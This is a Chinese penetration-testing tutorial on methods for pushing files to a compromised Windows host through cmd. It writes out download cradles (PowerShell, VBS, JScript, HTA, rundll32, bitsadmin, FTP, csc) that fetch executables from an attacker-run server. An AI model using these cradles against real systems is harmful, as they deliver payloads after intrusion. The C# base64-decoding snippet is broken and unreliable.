滲透技巧——通過Cmd上傳文件的N種方法

本文由三好學生原創并首發于烏云drops,轉載請注明

0x00 前言

在滲透測試的過程中,常常需要向目標主機上傳文件,我在最近的學習測試過程中就碰到了這個問題,要求只能通過cmd shell向目標主機(Windows系統)上傳文件,所以本文就對該技巧做一下總結。

0x02 測試環境

OS:Win7?x86

test exe:ssss2.exe,成功運行后輸出1

0x03 通用上傳方法

1、 Debug

debug是一個程序調試工具,功能包括:

直接輸入,更改,跟蹤,運行匯編語言源程序

觀察操作系統的內容

查看ROM BIOS的內容

觀察更改RAM內部的設置值

以扇區或文件的方式讀寫軟盤數據

特別的是它還有一個功能可以將十六進制代碼轉換為可執行文件:

結合本文的目標,思路如下:

把需要上傳的exe轉換成十六進制hex的形式

通過echo命令將hex代碼寫入文件

使用debug功能將hex代碼還原出exe文件

實際測試:

kali中的exe2bat.exe提供了這個功能,位于/usr/share/windows-binaries

如圖

操作步驟:

kali:

#!bash

cd?/usr/share/windows-binaries

wine exe2bat.exe ssss2.exe ssss2.txt

執行后會生成ssss2.txt,將里面的內容復制粘貼到cmd命令行下依次執行

執行后會生成1.dll、123.hex、ssss.exe

如圖

注:

exe2bat不支持大于64kb的文件 debug默認只支持在32位系統

如圖

2、Ftp

搭建好ftp服務器:

ip:192.168.174.151

文件:ssss2.exe

按順序執行如下代碼即可通過ftp來下載文件

cmd:

#!bash

echo open?192.168.174.151?21>?ftp.txt

echo ftp>>?ftp.txt

echo bin?>>?ftp.txt

echo ftp>>?ftp.txt

echo GET ssss2.exe?>>?ftp.txt

ftp?-s:ftp.txt

如圖

注:

初次使用ftp下載防火墻會彈框攔截,使用前記得要先添加防火墻規則

3、Vbs

vbs downloader,使用msxml2.xmlhttp和adodb.stream對象

如下代碼保存為.vbs文件:

#!vb

Set?Post?=?CreateObject("Msxml2.XMLHTTP")

Set?Shell?=?CreateObject("Wscript.Shell")

Post.Open?"GET","http://192.168.174.145/ssss2.exe",0

Post.Send()

Set?aGet?=?CreateObject("ADODB.Stream")

aGet.Mode?=?3

aGet.Type?=?1

aGet.Open()

aGet.Write(Post.responseBody)

aGet.SaveToFile?"C:\test\update\ssss2.exe",2

對應到cmd下的命令為:

#!bash

echo?Set?Post?=?CreateObject("Msxml2.XMLHTTP")?>>download.vbs

echo?Set?Shell?=?CreateObject("Wscript.Shell")?>>download.vbs

echo?Post.Open?"GET","http://192.168.174.145/ssss2.exe",0?>>download.vbs

echo?Post.Send()?>>download.vbs

echo?Set?aGet?=?CreateObject("ADODB.Stream")?>>download.vbs

echo aGet.Mode?=?3?>>download.vbs

echo aGet.Type?=?1?>>download.vbs

echo aGet.Open()?>>download.vbs

echo aGet.Write(Post.responseBody)?>>download.vbs

echo aGet.SaveToFile?"C:\test\update\ssss2.exe",2?>>download.vbs

按順序依次執行后會生成download.vbs,然后執行download.vbs即可實現下載ssss2.exe

4、Powershell

cmd:

#!powershell

powershell?(new-object?System.Net.WebClient).DownloadFile(?'http://192.168.174.145/ssss2.exe','C:\test\update\ssss2.exe')

5、Csc

csc.exe是微軟.NET Framework 中的C#編譯器,Windows系統中默認包含,可在命令行下將cs文件編譯成exe

c# downloader的代碼為:

#!csharp

using?System.Net;

namespace?downloader

{

class?Program

{

static?void?Main(string[]?args)

{

WebClient?client?=?new?WebClient();

string?URLAddress?=?@"http://192.168.174.145/ssss2.exe";

string?receivePath?=?@"C:\test\update\";

client.DownloadFile(URLAddress, receivePath + System.IO.Path.GetFileName

(URLAddress));

}

}

}

使用echo將代碼依次寫入文件download.cs中,然后調用csc.exe編譯cs文件

執行

#!bash

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe?/out:C:\tes

t\update\download.exe C:\test\update\download.cs

如圖成功生成download.exe

注:

csc.exe的絕對路徑要根據系統的.net版本來確定

6、JScript

相比于JSRat中用的Scripting.FileSystemObject

換用ADODB.Stream實現起來更加簡單高效

以下代碼依次保存為js文件,直接執行即可實現下載文件

#!js

var?Object?=?WScript.CreateObject("MSXML2.XMLHTTP");

Object.open("GET","http://192.168.174.145/ssss2.exe",false);

Object.send();

if?(Object.Status?==?200)

{

var?Stream?=?WScript.CreateObject("ADODB.Stream");

Stream.Open();

Stream.Type?=?1;

Stream.Write(Object.ResponseBody);

Stream.SaveToFile("C:\\test\\update\\ssss2.exe",?2);

Stream.Close();

}

合并成rundll32的一句話(類似于JSRat的啟動方式):

cmd:

#!bash

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();Object=new%20ActiveXObject("Microsoft.XMLHTTP");Object.open("GET","http://192.168.174.145/ssss2.exe",false);Object.send();if(Object.Status==200){Stream=new%20ActiveXObject("ADODB.Stream");Stream.Open();Stream.Type=1;Stream.Write(Object.ResponseBody);Stream.SaveToFile("C:\\test\\update\\ssss2.exe",2);Stream.Close();}

執行后會提示沒有權限,很有趣的地方,更多的細節會在以后的文章介紹

7、Hta

添加最小化和自動退出hta程序的功能,執行過程中會最小化hta窗口,下載文件結束后自動退出hta程序

以下代碼保存為.hta文件:

#!js

<html>

<head>

<script>

var?Object?=?new?ActiveXObject("MSXML2.XMLHTTP");

Object.open("GET","http://192.168.174.145/ssss2.exe",false);

Object.send();

if?(Object.Status?==?200)

{

var?Stream?=?new?ActiveXObject("ADODB.Stream");

Stream.Open();

Stream.Type?=?1;

Stream.Write(Object.ResponseBody);

Stream.SaveToFile("C:\\test\\update\\ssss2.exe",?2);

Stream.Close();

}

window.close();

</script>

<HTA:APPLICATION ID="test"

WINDOWSTATE?=?"minimize">

</head>

<body>

</body>

</html>

8、Bitsadmin

bitsadmin是一個命令行工具,可用于創建下載或上傳工作和監測其進展情況。xp以后的Windows系統自帶

使用方法:

cmd下:

#!bash

bitsadmin?/transfer n http://download.sysinternals.com/files/PSTools.zip C:\test\update\PSTools.zip

下載成功如圖:

注:

不支持https、ftp協議

使用kali的simplehttpserver作服務器會報錯

9、Base64

將exe先作base64加密,通過cmd上傳后解密輸出 對exe作base64加密的方法:

(1)powershell

$PEBytes?=?[System.IO.File]::ReadAllBytes("C:\windows\system32\calc.exe")

$Base64Payload?=?[System.Convert]::ToBase64String($PEBytes)

Set-Content?base64.txt?-Value?$Base64Payload

運行后會將C:\windows\system32\calc.exe作base64加密并輸出到base64.txt

(2)c#

using?System;

using?System.IO;

using?System.Collections.Generic;

using?System.Linq;

using?System.Text;

using?System.Threading.Tasks;


namespace?test1

{

class?Program

{

static?void?Main(string[]?args)

{

byte[]?AsBytes?=?File.ReadAllBytes(@"C:\windows\system32\calc.exe");

String?AsBase64String?=?Convert.ToBase64String(AsBytes);

StreamWriter?sw?=?new?StreamWriter(@"C:\test\base64.txt");

sw.Write(AsBase64String);

sw.Close();

}

}

}

(3)eml附件

(思路由豬豬俠提供)

server2003 默認包含outlook客戶端C:\Program Files\Outlook Express

運行后-新建郵件-上傳附件-另存為eml格式

使用notepad打開eml郵件,可看到加密的base64代碼

如圖

解密base64文件并生成exe的方法:

(1)powershell

$Base64Bytes?=?Get-Content?(base64.txt)

$PEBytes=?[System.Convert]::FromBase64String($Base64Bytes)

Set-Content?calc.exe?-Value?$PEBytes

(2)c#

using?System;

using?System.IO;

using?System.Collections.Generic;

using?System.Linq;

using?System.Text;

using?System.Threading.Tasks;


namespace?test1

{

class?Program

{

static?void?Main(string[]?args)

{

byte[]?AsBytes?=?File.ReadAllBytes(@"C:\test\base64.txt");

String?AsBase64String?=?Convert.FromBase64String(AsBytes);

StreamWriter?sw?=?new?StreamWriter(@"C:\test\calc.exe");

sw.Write(AsBase64String);

sw.Close();

}

}

}

注: 讀文件的操作可替換為base64代碼直接寫入腳本文件中

0x04 補充上傳方法

以上均為系統默認包含的程序,結合以上方法并借助于第三方工具也能夠實現功能

這里介紹的思路是可先通過bitsadmin來下載第三方工具,然后利用第三方工具進行傳輸文件

1、Wget:

#!bash

bitsadmin?/transfer n http://www.interlog.com/~tcharron/wgetwin-1_5_3_1-binary.zip C:\test\update\wget.zip

運行后會下載wget的壓縮包wget.zip

注:

Windows系統默認不包含解壓縮zip文件的命令,但是可以通過vbs來實現解壓縮zip文件

vbs實現解壓縮:

以下代碼保存為.vbs文件:

#!vb

UnZip?"C:\test\update\wget.zip","C:\test\update\wget\"

Sub UnZip(ByVal myZipFile, ByVal myTargetDir)

Set fso = CreateObject("Scripting.FileSystemObject")

If NOT fso.FileExists(myZipFile) Then

Exit Sub

ElseIf fso.GetExtensionName(myZipFile) <> "zip" Then

Exit Sub

ElseIf NOT fso.FolderExists(myTargetDir) Then

fso.CreateFolder(myTargetDir)

End If

Set objShell = CreateObject("Shell.Application")

Set objSource = objShell.NameSpace(myZipFile)

Set objFolderItem = objSource.Items()

Set objTarget = objShell.NameSpace(myTargetDir)

intOptions = 256

objTarget.CopyHere objFolderItem, intOptions

End Sub

代碼來自于http://demon.tw/programming/vbs-unzip-file.html

成功解壓縮后就可通過wget.exe來傳輸文件

#!bash

C:\test\update\wget\wget.exe http://192.168.174.145/ssss2.exe

如圖

2、Ftfp

思路同上,先通過bitsadmin下載tftp.exe,然后利用tftp傳輸文件

#!bash

bitsadmin?/transfer n http://www.winagents.com/downloads/tftp.exe C:\test\update\tftp.exe

下載成功后利用tftp傳輸文件:

#!bash

tftp?-i?192.168.174.151?GET tftp\ssss2.exe C:\test\update\ssss2.exe

注:

默認防火墻會攔截

關掉防火墻或者添加規則即可

如圖

0x05 小結

本文對一些常用的通過cmd來傳輸文件的技巧做了整理,側重于介紹其中較為通用簡便的方法,所以并未介紹其他需要配置開發環境的實現方法,如Python、Ruby、Php等,如果你有更好的實現方法,歡迎與我交流,共同學習。

?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市,隨后出現的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 228,739評論 6 534
  • 序言:濱河連續發生了三起死亡事件,死亡現場離奇詭異,居然都是意外死亡,警方通過查閱死者的電腦和手機,發現死者居然都...
    沈念sama閱讀 98,634評論 3 419
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人,你說我怎么就攤上這事。” “怎么了?”我有些...
    開封第一講書人閱讀 176,653評論 0 377
  • 文/不壞的土叔 我叫張陵,是天一觀的道長。 經常有香客問我,道長,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 63,063評論 1 314
  • 正文 為了忘掉前任,我火速辦了婚禮,結果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己,他們只是感情好,可當我...
    茶點故事閱讀 71,835評論 6 410
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發上,一...
    開封第一講書人閱讀 55,235評論 1 324
  • 那天,我揣著相機與錄音,去河邊找鬼。 笑死,一個胖子當著我的面吹牛,可吹牛的內容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 43,315評論 3 442
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了?” 一聲冷哼從身側響起,我...
    開封第一講書人閱讀 42,459評論 0 289
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后,有當地人在樹林里發現了一具尸體,經...
    沈念sama閱讀 49,000評論 1 335
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 40,819評論 3 355
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發現自己被綠了。 大學時的朋友給我發了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 43,004評論 1 370
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖,靈堂內的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 38,560評論 5 362
  • 正文 年R本政府宣布,位于F島的核電站,受9級特大地震影響,放射性物質發生泄漏。R本人自食惡果不足惜,卻給世界環境...
    茶點故事閱讀 44,257評論 3 347
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 34,676評論 0 26
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至,卻和暖如春,著一層夾襖步出監牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 35,937評論 1 288
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個月前我還...
    沈念sama閱讀 51,717評論 3 393
  • 正文 我出身青樓,卻偏偏與公主長得像,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 48,003評論 2 374

推薦閱讀更多精彩內容

  • 滲透技巧--通過cmd上傳文件的N種方法 1.debug debug是一個程序調試工具,功能包括:(win7以上版...
    Bugl0v3r閱讀 4,747評論 0 1
  • 1.powershell下載 powershell$client=new-objectSystem.Net.Web...
    simeon2015閱讀 608評論 0 3
  • Spring Cloud為開發人員提供了快速構建分布式系統中一些常見模式的工具(例如配置管理,服務發現,斷路器,智...
    卡卡羅2017閱讀 134,786評論 18 139
  • .bat腳本基本命令語法 目錄 批處理的常見命令(未列舉的命令還比較多,請查閱幫助信息) 1、REM 和 :: 2...
    慶慶慶慶慶閱讀 8,161評論 1 19
  • 部分內容轉載自搜狗百科 cmd是command的縮寫.即命令提示符(CMD),是在OS / 2 , Windows...
    青冥之上閱讀 2,410評論 0 24